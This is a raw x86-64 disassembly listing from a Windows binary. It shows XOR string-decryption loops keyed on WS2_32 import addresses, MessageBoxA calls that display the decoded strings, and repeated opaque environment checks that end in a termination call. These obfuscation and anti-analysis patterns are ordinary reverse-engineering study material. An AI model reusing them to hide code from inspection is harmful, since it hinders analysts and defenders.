mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xee
mov r10, r14
movabs rbx, 0x8080808080808081
movabs r8, 0x1018615631
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x2030c2ac62
mov r13d, 0xf2601420
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14003ae3a
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x140103080]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x7f4b5381
mov word [rbp + 0x76c], 7
mov r9, r14
movabs r8, 0x13e1e1a6b5
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x27c3c34d6a
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r12
add r11, 0x15
cmp r8, r10
jb 0x14003aede
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x14003b01a
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x49cd3990
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003affa
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003affa
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b01a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r15
jne 0x14003b3e3
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003b0a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003b0a8
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14003b185
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x14f86770
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov eax, 0x145cd41f
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x10]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003b165
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003b165
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b185
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
movdqa xmm0, xmmword [0x140103180]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xee
mov rdi, r14
mov ebx, 0xf2601420
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003b514
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, 0x11
jb 0x14003b1a6
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1401030a0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x140103290]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x140103240]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x63255afe
mov dword [rbp + 0xd0c], 0xee6b7ba9
mov dword [rbp + 0xd10], 0xdd604afc
mov word [rbp + 0xd14], 0xa
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.14003b580
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x14003b23b
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14003b339
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003b319
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003b319
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b339
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov rax, qword gs:[0x50]
cmp rax, r13
jne 0x14003b3e3
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x10]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003b3c3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003b3c3
mov rcx, qword gs:[0x10]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003b3e3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a1678
int3
mov ecx, 1
call fcn.1400a1678
int3